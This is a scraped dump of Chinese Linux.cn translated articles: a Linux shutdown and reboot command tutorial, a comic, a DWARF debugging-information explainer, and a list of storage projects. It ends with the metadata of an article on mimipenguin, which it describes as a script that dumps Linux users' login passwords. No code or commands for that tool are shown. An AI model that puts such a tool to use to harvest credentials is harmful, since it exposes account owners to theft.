如果你想深入 Linux 服务器管理，那么为了有效和可靠的服务器管理，这些[重要的 Linux 命令](https://www.tecmint.com/60-commands-of-linux-a-guide-from-newbies-to-system-administrator/)你需要完全理解。
通常上，当你想要关闭或者重启你的机器时，你会运行下面之一的命令：
### shutdown 命令
`shutdown` 会给系统计划一个时间关机。它可以被用于停止、关机、重启机器。
你可以指定一个时间字符串（通常是 `now` 或者用 `hh:mm` 指定小时/分钟）作为第一个参数。额外地，你也可以设置一个广播信息在系统关闭前发送给所有已登录的用户。
重要：如果使用了时间参数，系统关机前 5 分钟，会创建 `/run/nologin` 文件。以确保没有人可以再登录。
`shutdown` 命令示例：
```
# shutdown
# shutdown now
# shutdown 13:20
# shutdown -p now ### 关闭机器
# shutdown -H now ### 停止机器
# shutdown -r09:35 ### 在 09:35am 重启机器
```
要取消即将进行的关机，只要输入下面的命令：
```
# shutdown -c
```
### halt 命令
`halt` 通知硬件来停止所有的 CPU 功能，但是仍然保持通电。你可以用它使系统处于低层维护状态。
注意在有些情况会它会完全关闭系统。下面是 `halt` 命令示例：
```
# halt ### 停止机器
# halt -p ### 关闭机器
# halt --reboot ### 重启机器
```
### poweroff 命令
`poweroff` 会发送一个 ACPI 信号来通知系统关机。
下面是 `poweroff` 命令示例：
```
# poweroff ### 关闭机器
# poweroff --halt ### 停止机器
# poweroff --reboot ### 重启机器
```
### reboot 命令
`reboot` 通知系统重启。
```
# reboot ### 重启机器
# reboot --halt ### 停止机器
# reboot -p ### 关闭机器
```
就是这样了！如先前提到的，理解这些命令能够有效并可靠地在多用户环境下管理 Linux 服务器。你有一些额外的想法么？在评论区留言与我们分享。
---
作者简介：
Aaron Kili是一名 Linux 和 F.O.S.S 的爱好者，未来的 Linux 系统管理员、网站开发人员，目前是 TecMint 的内容创作者，他喜欢用电脑工作，并乐于分享知识。
---
via: <https://www.tecmint.com/shutdown-poweroff-halt-and-reboot-commands-in-linux/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[geekpi](https://github.com/geekpi) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
极客漫画：数据库链接池中的生生死死
|
Daniel Stori
|
http://turnoff.us/geek/db-connection-pool/
|
数据库连接池是常用的 B/S 技术，而似乎生活在这个“池子”里面的那些连接对象有点不幸。
要是顺利的话，你干完活就可以歇着了。
要是不顺利，比如你掌握的连接已经被拒绝了，那么……
你就会被“砰”地干掉。就问你怕不怕？（话说回来，回答错误会不会也被“砰”……）
|
/data/attachment/album/201706/05/140712giqn2zgynkl17fq1.png.thumb.jpg
|
/data/attachment/album/201706/05/140712giqn2zgynkl17fq1.png.large.jpg
| false | false | true |
wxy
| false |
[
"数据库",
"漫画"
] |
极客漫画
|
{
"viewnum": 5887,
"commentnum": 3,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "58.62.25.1",
"message": "你知道得太多了<br />\r\n“砰”",
"username": "来自广东广州的 Firefox 53.0|Ubuntu 用户",
"date": "2017-06-05T22:21:27"
},
{
"postip": "27.203.178.50",
"message": "大企业吗？真是伤脑筋。",
"username": "cuthead [Firefox 53.0|Ubuntu]",
"date": "2017-06-05T23:30:15"
},
{
"postip": "116.231.209.95",
"message": "“砰”",
"username": "来自上海的 Safari 10.1|Mac 10.12 用户",
"date": "2017-06-06T14:36:52"
}
] |
[] |
数据库连接池是常用的 B/S 技术，而似乎生活在这个“池子”里面的那些连接对象有点不幸。
要是顺利的话，你干完活就可以歇着了。
要是不顺利，比如你掌握的连接已经被拒绝了，那么……
你就会被“砰”地干掉。就问你怕不怕？（话说回来，回答错误会不会也被“砰”……）
| 2017-06-05T14:07:00 | 2017-06-05T14:07:00 | 8,578 |
/article-8578-1.html
|
数据库连接池是常用的 B/S 技术，而似乎生活在这个“池子”里面的那些连接对象有点不幸。
要是顺利的话，你干完活就可以歇着了。
要是不顺利，比如你掌握的连接已经被拒绝了，那么……
你就会被“砰”地干掉。就问你怕不怕？（话说回来，回答错误会不会也被“砰”……）
---
via: <http://turnoff.us/geek/db-connection-pool/>
作者：[Daniel Stori](http://turnoff.us/about/) 译者&点评：[wxy](https://github.com/wxy) 校对&合成：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
调试器工作原理（三）：调试信息
|
Eli Bendersky
|
http://eli.thegreenplace.net/2011/02/07/how-debuggers-work-part-3-debugging-information
|
本文将解释调试器是如何在机器码中查找它将 C 语言源代码转换成机器语言代码时所需要的 C 语言函数、变量、与数据。
|
/data/attachment/album/201706/06/012000szsjjsm4zobh4xho.jpg.thumb.jpg
|
/data/attachment/album/201706/06/012000szsjjsm4zobh4xho.jpg
| true | false | true |
YYforymj
| false |
[
"调试器"
] |
软件开发
|
{
"viewnum": 6797,
"commentnum": 0,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[] |
[
{
"raid": 8552,
"displayorder": 0
}
] |
本文将解释调试器是如何在机器码中查找它将 C 语言源代码转换成机器语言代码时所需要的 C 语言函数、变量、与数据。
| 2017-06-06T08:16:00 | 2017-06-06T08:16:00 | 8,579 |
/article-8579-1.html
|
这是调试器的工作原理系列文章的第三篇。阅读这篇文章之前应当先阅读[第一篇](/article-8552-1.html)与[第二篇](/article-8418-1.html)。
### 这篇文章的主要内容
本文将解释调试器是如何在机器码中查找它将 C 语言源代码转换成机器语言代码时所需要的 C 语言函数、变量、与数据。
### 调试信息
现代编译器能够将有着各种缩进或嵌套的程序流程、各种数据类型的变量的高级语言代码转换为一大堆称之为机器码的 0/1 数据，这么做的唯一目的是尽可能快的在目标 CPU 上运行程序。通常来说一行 C 语言代码能够转换为若干条机器码。变量被分散在机器码中的各个部分，有的在堆栈中，有的在寄存器中，或者直接被优化掉了。数据结构与对象在机器码中甚至不“存在”，它们只是用于将数据按一定的结构编码存储进缓存。
那么调试器怎么知道，当你需要在某个函数入口处暂停时，程序要在哪停下来呢？它怎么知道当你查看某个变量值时，它怎么找到这个值？答案是，调试信息。
编译器在生成机器码时同时会生成相应的调试信息。调试信息代表了可执行程序与源代码之间的关系，并以一种提前定义好的格式，同机器码存放在一起。过去的数年里，人们针对不同的平台与可执行文件发明了很多种用于存储这些信息的格式。不过我们这篇文章不会讲这些格式的历史，而是将阐述这些调试信息是如何工作的，所以我们将专注于一些事情，比如 `DWARF`。`DWARF` 如今十分广泛的用作 Linux 和类 `Unix` 平台上的可执行文件的调试格式。
### ELF 中的 DWARF
根据[它的维基百科](http://en.wikipedia.org/wiki/DWARF) 所描述，虽然 `DWARF` 是同 `ELF` 一同设计的（`DWARF` 是由 `DWARF` 标准委员会推出的开放标准。上文中展示的图标就来自这个网站。），但 `DWARF` 在理论上来说也可以嵌入到其他的可执行文件格式中。
`DWARF` 是一种复杂的格式，它吸收了过去许多年各种不同的架构与操作系统的格式的经验。正是因为它解决了一个在任何平台与 ABI （应用二进制接口）上为任意高级语言产生调试信息这样棘手的难题，它也必须很复杂。想要透彻的讲解 `DWARF` 仅仅是通过这单薄的一篇文章是远远不够的，说实话我也并没有充分地了解 `DWARF` 到每一个微小的细节，所以我也不能十分透彻的讲解 （如果你感兴趣的话，文末有一些能够帮助你的资源。建议从 `DWARF` 教程开始上手）。这篇文章中我将以浅显易懂的方式展示 `DWARF`，以说明调试信息是如何实际工作的。
### ELF 文件中的调试部分
首先让我们看看 `DWARF` 处在 ELF 文件中的什么位置。`ELF` 定义了每一个生成的目标文件中的每一节。 <ruby> 节头表 <rt> section header table </rt></ruby> 声明并定义了每一节及其名字。不同的工具以不同的方式处理不同的节，例如连接器会寻找连接器需要的部分，调试器会查找调试器需要的部分。
我们本文的实验会使用从这个 C 语言源文件构建的可执行文件，编译成 `tracedprog2`：
```
#include <stdio.h>
void do_stuff(int my_arg)、
{
int my_local = my_arg + 2;
int i;
for (i = 0; i < my_local; ++i)
printf("i = %d\n", i);
}
int main()
{
do_stuff(2);
return 0;
}
```
使用 `objdump -h` 命令检查 `ELF` 可执行文件中的<ruby> 节头 <rt> section header </rt></ruby>，我们会看到几个以 `.debug_` 开头的节，这些就是 `DWARF` 的调试部分。
```
26 .debug_aranges 00000020 00000000 00000000 00001037
CONTENTS, READONLY, DEBUGGING
27 .debug_pubnames 00000028 00000000 00000000 00001057
CONTENTS, READONLY, DEBUGGING
28 .debug_info 000000cc 00000000 00000000 0000107f
CONTENTS, READONLY, DEBUGGING
29 .debug_abbrev 0000008a 00000000 00000000 0000114b
CONTENTS, READONLY, DEBUGGING
30 .debug_line 0000006b 00000000 00000000 000011d5
CONTENTS, READONLY, DEBUGGING
31 .debug_frame 00000044 00000000 00000000 00001240
CONTENTS, READONLY, DEBUGGING
32 .debug_str 000000ae 00000000 00000000 00001284
CONTENTS, READONLY, DEBUGGING
33 .debug_loc 00000058 00000000 00000000 00001332
CONTENTS, READONLY, DEBUGGING
```
每个节的第一个数字代表了该节的大小，最后一个数字代表了这个节开始位置距离 `ELF` 的偏移量。调试器利用这些信息从可执行文件中读取节。
现在让我们看看一些在 `DWARF` 中查找有用的调试信息的实际例子。
### 查找函数
调试器的最基础的任务之一，就是当我们在某个函数处设置断点时，调试器需要能够在入口处暂停。为此，必须为高级代码中的函数名称与函数在机器码中指令开始的地址这两者之间建立起某种映射关系。
为了获取这种映射关系，我们可以查找 `DWARF` 中的 `.debug_info` 节。在我们深入之前，需要一点基础知识。`DWARF` 中每一个描述类型被称之为调试信息入口（`DIE`）。每个 `DIE` 都有关于它的类型、属性之类的标签。`DIE` 之间通过兄弟节点或子节点相互连接，属性的值也可以指向其它的 `DIE`。
运行以下命令：
```
objdump --dwarf=info tracedprog2
```
输出文件相当的长，为了方便举例我们只关注这些行（从这里开始，无用的冗长信息我会以 （...）代替，方便排版）：
```
<1><71>: Abbrev Number: 5 (DW_TAG_subprogram)
<72> DW_AT_external : 1
<73> DW_AT_name : (...): do_stuff
<77> DW_AT_decl_file : 1
<78> DW_AT_decl_line : 4
<79> DW_AT_prototyped : 1
<7a> DW_AT_low_pc : 0x8048604
<7e> DW_AT_high_pc : 0x804863e
<82> DW_AT_frame_base : 0x0 (location list)
<86> DW_AT_sibling : <0xb3>
<1><b3>: Abbrev Number: 9 (DW_TAG_subprogram)
<b4> DW_AT_external : 1
<b5> DW_AT_name : (...): main
<b9> DW_AT_decl_file : 1
<ba> DW_AT_decl_line : 14
<bb> DW_AT_type : <0x4b>
<bf> DW_AT_low_pc : 0x804863e
<c3> DW_AT_high_pc : 0x804865a
<c7> DW_AT_frame_base : 0x2c (location list)
```
上面的代码中有两个带有 `DW_TAG_subprogram` 标签的入口，在 `DWARF` 中这是对函数的指代。注意，这是两个节的入口，其中一个是 `do_stuff` 函数的入口，另一个是主（`main`）函数的入口。这些信息中有很多值得关注的属性，但其中最值得注意的是 `DW_AT_low_pc`。它代表了函数开始处程序指针的值（在 x86 平台上是 `EIP`）。此处 `0x8048604` 代表了 `do_stuff` 函数开始处的程序指针。下面我们将利用 `objdump -d` 命令对可执行文件进行反汇编。来看看这块地址中都有什么：
```
08048604 <do_stuff>:
8048604: 55 push ebp
8048605: 89 e5 mov ebp,esp
8048607: 83 ec 28 sub esp,0x28
804860a: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
804860d: 83 c0 02 add eax,0x2
8048610: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
8048613: c7 45 (...) mov DWORD PTR [ebp-0x10],0x0
804861a: eb 18 jmp 8048634 <do_stuff+0x30>
804861c: b8 20 (...) mov eax,0x8048720
8048621: 8b 55 f0 mov edx,DWORD PTR [ebp-0x10]
8048624: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
8048628: 89 04 24 mov DWORD PTR [esp],eax
804862b: e8 04 (...) call 8048534 <printf@plt>
8048630: 83 45 f0 01 add DWORD PTR [ebp-0x10],0x1
8048634: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10]
8048637: 3b 45 f4 cmp eax,DWORD PTR [ebp-0xc]
804863a: 7c e0 jl 804861c <do_stuff+0x18>
804863c: c9 leave
804863d: c3 ret
```
显然，`0x8048604` 是 `do_stuff` 的开始地址，这样一来，调试器就可以建立函数与其在可执行文件中的位置间的映射关系。
### 查找变量
假设我们当前在 `do_staff` 函数中某个位置上设置断点停了下来。我们想通过调试器取得 `my_local` 这个变量的值。调试器怎么知道在哪里去找这个值呢？很显然这要比查找函数更为困难。变量可能存储在全局存储区、堆栈、甚至是寄存器中。此外，同名变量在不同的作用域中可能有着不同的值。调试信息必须能够反映所有的这些变化，当然，`DWARF` 就能做到。
我不会逐一去将每一种可能的状况，但我会以调试器在 `do_stuff` 函数中查找 `my_local` 变量的过程来举个例子。下面我们再看一遍 `.debug_info` 中 `do_stuff` 的每一个入口，这次连它的子入口也要一起看。
```
<1><71>: Abbrev Number: 5 (DW_TAG_subprogram)
<72> DW_AT_external : 1
<73> DW_AT_name : (...): do_stuff
<77> DW_AT_decl_file : 1
<78> DW_AT_decl_line : 4
<79> DW_AT_prototyped : 1
<7a> DW_AT_low_pc : 0x8048604
<7e> DW_AT_high_pc : 0x804863e
<82> DW_AT_frame_base : 0x0 (location list)
<86> DW_AT_sibling : <0xb3>
<2><8a>: Abbrev Number: 6 (DW_TAG_formal_parameter)
<8b> DW_AT_name : (...): my_arg
<8f> DW_AT_decl_file : 1
<90> DW_AT_decl_line : 4
<91> DW_AT_type : <0x4b>
<95> DW_AT_location : (...) (DW_OP_fbreg: 0)
<2><98>: Abbrev Number: 7 (DW_TAG_variable)
<99> DW_AT_name : (...): my_local
<9d> DW_AT_decl_file : 1
<9e> DW_AT_decl_line : 6
<9f> DW_AT_type : <0x4b>
<a3> DW_AT_location : (...) (DW_OP_fbreg: -20)
<2><a6>: Abbrev Number: 8 (DW_TAG_variable)
<a7> DW_AT_name : i
<a9> DW_AT_decl_file : 1
<aa> DW_AT_decl_line : 7
<ab> DW_AT_type : <0x4b>
<af> DW_AT_location : (...) (DW_OP_fbreg: -24)
```
看到每个入口处第一对尖括号中的数字了吗？这些是嵌套的等级，在上面的例子中，以 `<2>` 开头的入口是以 `<1>` 开头的子入口。因此我们得知 `my_local` 变量（以 `DW_TAG_variable` 标签标记）是 `do_stuff` 函数的局部变量。除此之外，调试器也需要知道变量的数据类型，这样才能正确的使用与显示变量。上面的例子中 `my_local` 的变量类型指向另一个 `DIE` `<0x4b>`。如果使用 `objdump` 命令查看这个 `DIE` 的话，我们会发现它是一个有符号 4 字节整型数据。
而为了在实际运行的程序内存中查找变量的值，调试器需要使用到 `DW_AT_location` 属性。对于 `my_local` 而言，是 `DW_OP_fbreg: -20`。这个代码段的意思是说 `my_local` 存储在距离它所在函数起始地址偏移量为 `-20` 的地方。
`do_stuff` 函数的 `DW_AT_frame_base` 属性值为 `0x0 (location list)`。这意味着这个属性的值需要在 `location list` 中查找。下面我们来一起看看。
```
$ objdump --dwarf=loc tracedprog2
tracedprog2: file format elf32-i386
Contents of the .debug_loc section:
Offset Begin End Expression
00000000 08048604 08048605 (DW_OP_breg4: 4 )
00000000 08048605 08048607 (DW_OP_breg4: 8 )
00000000 08048607 0804863e (DW_OP_breg5: 8 )
00000000 <End of list>
0000002c 0804863e 0804863f (DW_OP_breg4: 4 )
0000002c 0804863f 08048641 (DW_OP_breg4: 8 )
0000002c 08048641 0804865a (DW_OP_breg5: 8 )
0000002c <End of list>
```
我们需要关注的是第一列（`do_stuff` 函数的 `DW_AT_frame_base` 属性包含 `location list` 中 `0x0` 的偏移量。而 `main` 函数的相同属性包含 `0x2c` 的偏移量，这个偏移量是第二套地址列表的偏移量）。对于调试器可能定位到的每一个地址，它都会指定当前栈帧到变量间的偏移量，而这个偏移就是通过寄存器来计算的。对于 x86 平台而言，`bpreg4` 指向 `esp`，而 `bpreg5` 指向 `ebp`。
让我们再看看 `do_stuff` 函数的头几条指令。
```
08048604 <do_stuff>:
8048604: 55 push ebp
8048605: 89 e5 mov ebp,esp
8048607: 83 ec 28 sub esp,0x28
804860a: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
804860d: 83 c0 02 add eax,0x2
8048610: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
```
只有当第二条指令执行后，`ebp` 寄存器才真正存储了有用的值。当然，前两条指令的基址是由上面所列出来的地址信息表计算出来的。一但 `ebp` 确定了，计算偏移量就十分方便了，因为尽管 `esp` 在操作堆栈的时候需要移动，但 `ebp` 作为栈底并不需要移动。
究竟我们应该去哪里找 `my_local` 的值呢？在 `0x8048610` 这块地址后， `my_local` 的值经过在 `eax` 中的计算后被存在了内存中，从这里开始我们才需要关注 `my_local` 的值。调试器会利用 `DW_OP_breg5: 8` 这个栈帧来查找。我们回想下，`my_local` 的 `DW_AT_location` 属性值为 `DW_OP_fbreg: -20`。所以应当从基址中 `-20` ，同时由于 `ebp` 寄存器需要 `+8`，所以最终结果为 `ebp - 12`。现在再次查看反汇编代码，来看看数据从 `eax` 中被移动到哪里了。当然，这里 `my_local` 应当被存储在了 `ebp - 12` 的地址中。
### 查看行号
当我们谈到在调试信息寻找函数的时候，我们利用了些技巧。当调试 C 语言源代码并在某个函数出放置断点的时候，我们并不关注第一条“机器码”指令（函数的调用准备工作已经完成而局部变量还没有初始化）。我们真正关注的是函数的第一行“C 代码”。
这就是 `DWARF` 完全覆盖映射 C 源代码中的行与可执行文件中机器码地址的原因。下面是 `.debug_line` 节中所包含的内容，我们将其转换为可读的格式展示如下。
```
$ objdump --dwarf=decodedline tracedprog2
tracedprog2: file format elf32-i386
Decoded dump of debug contents of section .debug_line:
CU: /home/eliben/eli/eliben-code/debugger/tracedprog2.c:
File name Line number Starting address
tracedprog2.c 5 0x8048604
tracedprog2.c 6 0x804860a
tracedprog2.c 9 0x8048613
tracedprog2.c 10 0x804861c
tracedprog2.c 9 0x8048630
tracedprog2.c 11 0x804863c
tracedprog2.c 15 0x804863e
tracedprog2.c 16 0x8048647
tracedprog2.c 17 0x8048653
tracedprog2.c 18 0x8048658
```
很容易就可以看出其中 C 源代码与反汇编代码之间的对应关系。第 5 行指向 `do_stuff` 函数的入口，`0x8040604`。第 6 行，指向 `0x804860a` ，正是调试器在调试 `do_stuff` 函数时需要停下来的地方。这里已经完成了函数调用的准备工作。上面的这些信息形成了行号与地址间的双向映射关系。
* 当在某一行设置断点的时候，调试器会利用这些信息去查找相应的地址来做断点工作（还记得上篇文章中的 `int 3` 指令吗？）
* 当指令造成段错误时，调试器会利用这些信息来查看源代码中发生问题的行。
### libdwarf - 用 DWARF 编程
尽管使用命令行工具来获得 `DWARF` 很有用，但这仍然不够易用。作为程序员，我们希望知道当我们需要这些调试信息时应当怎么编程来获取这些信息。
自然我们想到的第一种方法就是阅读 `DWARF` 规范并按规范操作阅读使用。有句话说的好，分析 HTML 应当使用库函数，永远不要手工分析。对于 `DWARF` 来说正是如此。`DWARF` 比 HTML 要复杂得多。上面所展示出来的只是冰山一角。更糟糕的是，在实际的目标文件中，大部分信息是以非常紧凑的压缩格式存储的，分析起来更加复杂（信息中的某些部分，例如位置信息与行号信息，在某些虚拟机下是以指令的方式编码的）。
所以我们要使用库来处理 `DWARF`。下面是两种我熟悉的主要的库（还有些不完整的库这里没有写）
1. `BFD` （libbfd），包含了 `objdump` （对，就是这篇文章中我们一直在用的这货），`ld`（`GNU` 连接器）与 `as`（`GNU` 编译器）。`BFD` 主要用于 [GNU binutils](http://www.gnu.org/software/binutils/)。
2. `libdwarf` ，同它的哥哥 `libelf` 一同用于 `Solaris` 与 `FreeBSD` 中的调试信息分析。
相比较而言我更倾向于使用 `libdwarf`，因为我对它了解的更多，并且 `libdwarf` 的开源协议更开放（`LGPL` 对比 `GPL`）。
因为 `libdwarf` 本身相当复杂，操作起来需要相当多的代码，所以我在这不会展示所有代码。你可以在 [这里](https://github.com/eliben/code-for-blog/blob/master/2011/dwarf_get_func_addr.c) 下载代码并运行试试。运行这些代码需要提前安装 `libelfand` 与 `libdwarf` ，同时在使用连接器的时候要使用参数 `-lelf` 与 `-ldwarf`。
这个示例程序可以接受可执行文件并打印其中的函数名称与函数入口地址。下面是我们整篇文章中使用的 C 程序经过示例程序处理后的输出。
```
$ dwarf_get_func_addr tracedprog2
DW_TAG_subprogram: 'do_stuff'
low pc : 0x08048604
high pc : 0x0804863e
DW_TAG_subprogram: 'main'
low pc : 0x0804863e
high pc : 0x0804865a
```
`libdwarf` 的文档很棒，如果你花些功夫，利用 `libdwarf` 获得这篇文章中所涉及到的 `DWARF` 信息应该并不困难。
### 结论与计划
原理上讲，调试信息是个很简单的概念。尽管实现细节可能比较复杂，但经过了上面的学习我想你应该了解了调试器是如何从可执行文件中获取它需要的源代码信息的了。对于程序员而言，程序只是代码段与数据结构；对可执行文件而言，程序只是一系列存储在内存或寄存器中的指令或数据。但利用调试信息，调试器就可以将这两者连接起来，从而完成调试工作。
此文与这系列的前两篇，一同介绍了调试器的内部工作过程。利用这里所讲到的知识，再敲些代码，应该可以完成一个 Linux 中最简单、基础但也有一定功能的调试器。
下一步我并不确定要做什么，这个系列文章可能就此结束，也有可能我要讲些堆栈调用的事情，又或者讲 Windows 下的调试。你们有什么好的点子或者相关材料，可以直接评论或者发邮件给我。
### 参考
* objdump 参考手册
* [ELF](http://en.wikipedia.org/wiki/Executable_and_Linkable_Format) 与 [DWARF](http://en.wikipedia.org/wiki/DWARF) 的维基百科
* [Dwarf Debugging Standard 主页](http://dwarfstd.org/)，这里有很棒的 DWARF 教程与 DWARF 标准，作者是 Michael Eager。第二版基于 GCC 也许更能吸引你。
* [libdwarf 主页](http://reality.sgiweb.org/davea/dwarf.html)，这里可以下载到 libwarf 的完整库与参考手册
* [BFD 文档](http://sourceware.org/binutils/docs-2.21/bfd/index.html)
---
---
via: <http://eli.thegreenplace.net/2011/02/07/how-debuggers-work-part-3-debugging-information>
作者：[Eli Bendersky](http://eli.thegreenplace.net/) 译者：[YYforymj](https://github.com/YYforymj) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
软件定义存储（SDS）的发展：十个你应当知道的项目
|
Sam Dean
|
https://www.linux.com/news/open-cloud-report/2016/guide-open-cloud-software-defined-storage-opens
|
在下面的内容当中，你会看到现今对 SDS 来说很重要的项目，并且能了解到它们为什么具有这么大的影响力。
|
/data/attachment/album/201706/06/153319xy8kyg6blkreodt6.jpg.thumb.jpg
|
/data/attachment/album/201706/06/153319xy8kyg6blkreodt6.jpg
| true | false | true |
toutoudnf
| false |
[
"SDS",
"软件定义存储"
] |
观点
|
{
"viewnum": 5322,
"commentnum": 0,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
在下面的内容当中，你会看到现今对 SDS 来说很重要的项目，并且能了解到它们为什么具有这么大的影响力。
| 2017-06-06T15:33:14 | 2017-06-06T15:33:14 | 8,580 |
/article-8580-1.html
|
>
> 凭借 SDS，组织机构可以更好抽象出底层存储的管理功能，并且通过不同策略实现灵活配置。下面将要向你展示一些你应当知道的此类开源项目。
>
>
>
纵观 2016 年，SDS（Software-Defined Storage，软件定义存储）方面取得了很多里程碑式的进步，并且日益紧密的与云部署结合在了一起。凭借 SDS ，组织机构可以更好抽象出底层存储的管理功能，并且通过不同策略实现灵活配置。当然，他们也可以选择自由开源的 SDS 解决方案。人们熟知的 Ceph 正是凭借 OpenStack 部署在不断扩大自己的影响力，但是它离成为唯一的 SDS 开源项目还有很长的路要走。
Gartner 的一份市场调查报告中预测，截至到 2019 年，70% 已有的存储部署解决方案会支持以纯软件的方式来实施。同时 Gartner 还预测截至到 2020 年，70% 到 80% 的非结构化数据会存储在由 SDS 管理的廉价存储设备中。
最近，Dell EMC 公司加入到了由 Linux 基金会发起的 [OpenSDS](http://ctt.marketwire.com/?release=11G125514-001&id=10559023&type=0&url=https%3A%2F%2Fwww.opensds.io%2F) 项目中。 OpenSDS 致力于寻求解决 SDS 集成所面临的挑战，并推动企业对开放标准的采用。它由存储客户与厂商组成，包括 Fujitsu，Hitachi Data Systems，Huawei，Oregon State University 以及 Vodafone。同时 OpenSDS 也寻求与其它的上游开源社区进行合作，比如 Cloud Native Computing Foundation、Docker、OpenStack 以及 Open Container Initiative。
根据 Open SDS 项目的 [主页](https://www.opensds.io/)，2017 年会是 SDS 的一个元年：“社区希望在 2017 第二季度完成原型的发布，并且在第三季度中发布一个测试版本。OpenSDS 的最初组织者期望能通过这个项目来影响到一些开源技术，比如来自 Openstack 社区的 Cinder 和 Manila 项目，并且能够支持更广泛的云存储解决方案。”
与此同时，SDS 相关项目也呈现了爆发式的增长，其范围横跨 Apache Cassandra 到 Cehp。Linux 基金会最近发布了 2016 年度报告“[开放云指南：当前的趋势及开源项目](http://ctt.marketwire.com/?release=11G120876-001&id=10172077&type=0&url=http%3A%2F%2Fgo.linuxfoundation.org%2Frd-open-cloud-report-2016-pr)”，报告从整体上分析了开放云计算的现状，其中有一章涵盖了 SDS。你可以[下载](http://go.linuxfoundation.org/l/6342/2016-10-31/3krbjr)这篇报告，需要注意的是，这是一份综合了容器发展趋势、SDS，以及云计算的重新定义等等很多内容。报告中涵盖了当今对于开源云计算最重要的一些项目，并分类给出了描述和链接。
在这个系列的文章中，我们从该报告中整理了很多项目，并且针对它们是如何发展的提供了一些额外的视角及信息。在下面的内容当中，你会看到现今对 SDS 来说很重要的项目，并且能了解到它们为什么具有这么大的影响力。同时，根据上面的报告，我们提供了相关项目的 GitHub 仓库链接，方便大家查看。
### 软件定义存储（SDS）
* [Apache Cassandra](http://cassandra.apache.org/)
Apache Cassandra 是一个可扩展的、高可用的，面向任务优先应用的数据库。它可以运行在商业设备或者云架构上，并且能实现跨数据中心的低延迟数据传输，同时具备良好的容错性。[Cassandra 的 GitHub 仓库](https://github.com/apache/cassandra)。
* [Ceph](http://ceph.com/)
Ceph 是 Red Hat 构建的一个企业级可扩展的块设备、对象，以及文件存储平台，并且可部署在公有云或者私有云之上。Ceph 目前被广泛应用于 OpenStack。[Ceph 的 GitHub 仓库](https://github.com/ceph/ceph)。
* [CouchDB](http://couchdb.apache.org/)
CouchDB 是一个 Apache 软件基金会项目，是一个单节点或者集群数据库管理系统。CouchDB 提供了 RESTful HTTP 接口来读取和更新数据库文件。[CouchDB 的 GitHub 仓库](https://github.com/apache/couchdb)。
* [Docker 数据卷插件](https://docs.docker.com/engine/extend/plugins_volume/)
Docker Engine 数据卷插件可以使 Engine 与外部的存储系统一起集成部署，并且数据卷的生命周期与单一 Engine 主机相同。目前存在很多第三方的数据卷管理插件，包括 Azure File Storage、NetApp、VMware vSphere 等等。你可以在 GitHub上查找到更多的插件。
* [GlusterFS](https://www.gluster.org/)
Gluster 是 Red Hat 的可扩展网络文件系统，同时也是数据管理平台。Gluster 可以部署在公有云，私有云或者混合云之上，可用于 Linux 容器内的流媒体处理任务、数据分析任务，以及其它数据和带宽敏感型任务的执行。[GlusterFS 的 GitHub 仓库](https://github.com/gluster/glusterfs)。
* [MongoDB](https://www.mongodb.com/)
MongoDB 是一个高性能的文件数据库，并且部署和扩展都非常简单。[MongoDB 的 GitHub 仓库](https://github.com/mongodb/mongo)。
* [Nexenta](https://nexenta.com/)
NexentaStor 是一个可扩展的、统一的软件定义的文件和块设备管理服务，同时支持数据管理功能。它能够与 VMware 集成，并且支持 Docker 和 OpenStack。[Nexenta 的 GitHub 仓库](https://github.com/Nexenta)。
* [Redis](http://redis.io/)
Redis 是一个基于内存的数据存储，一般被用作数据库、缓存，以及消息代理。它支持多种数据结构，并且本身支持复制、Lua 脚本、LRU 算法、事务，以及多层级的硬盘持久化。
* [Riak CS](http://docs.basho.com/riak/cs/2.1.1/)
Riak CS（Cloud Storage）是基于 Basho 的分布式数据库 Riak KV 构建的对象存储软件。它提供了在不同规模的分布式云存储能力，可以用于公有云和私有云，还能为大压力的应用和服务提供基础的存储服务。其 API 兼容 Amazon S3，并且支持租户级别的费用计算和测量能力。[Riak CS 的 GitHub 仓库](https://github.com/basho/riak_cs)。
* [Swift](https://wiki.openstack.org/wiki/Swift)
Swift 是 OpenStack 项目中的对象存储系统，设计初衷是通过简单 API 存储和获取非结构化数据。Swift 设计之初就是可扩展的，并且针对持久性、可靠性以及并发数据读取做了优化。[Swift 的 GitHub 仓库](https://github.com/openstack/swift)。
*了解更多的开源云计算趋势以及更完整的开源云计算项目列表，请[下载 Linux 基金会的“开放云指南”](http://bit.ly/2eHQOwy)。*
（题图：Pixabay，CC0）
---
via: <https://www.linux.com/news/open-cloud-report/2016/guide-open-cloud-software-defined-storage-opens>
作者：[SAM DEAN](https://www.linux.com/users/sam-dean) 译者：[toutoudnf](https://github.com/toutoudnf) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
mimipenguin：从当前 Linux 用户转储登录密码
|
Aaron Kili
|
https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/
|
mimipenguin 是一个免费、开源、简单但是强大的 shell/python 脚本，用来从当前 Linux 桌面用户转储登录凭证（用户名和密码），并且已在不同的 Linux 发行版中测试过。
|
/data/attachment/album/201706/07/081750rx207a5nhaa4qv40.jpg.thumb.jpg
|
/data/attachment/album/201706/07/081750rx207a5nhaa4qv40.jpg
| true | false | true |
geekpi
| false |
[
"密码",
"凭证"
] |
技术
|
{
"viewnum": 6479,
"commentnum": 0,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
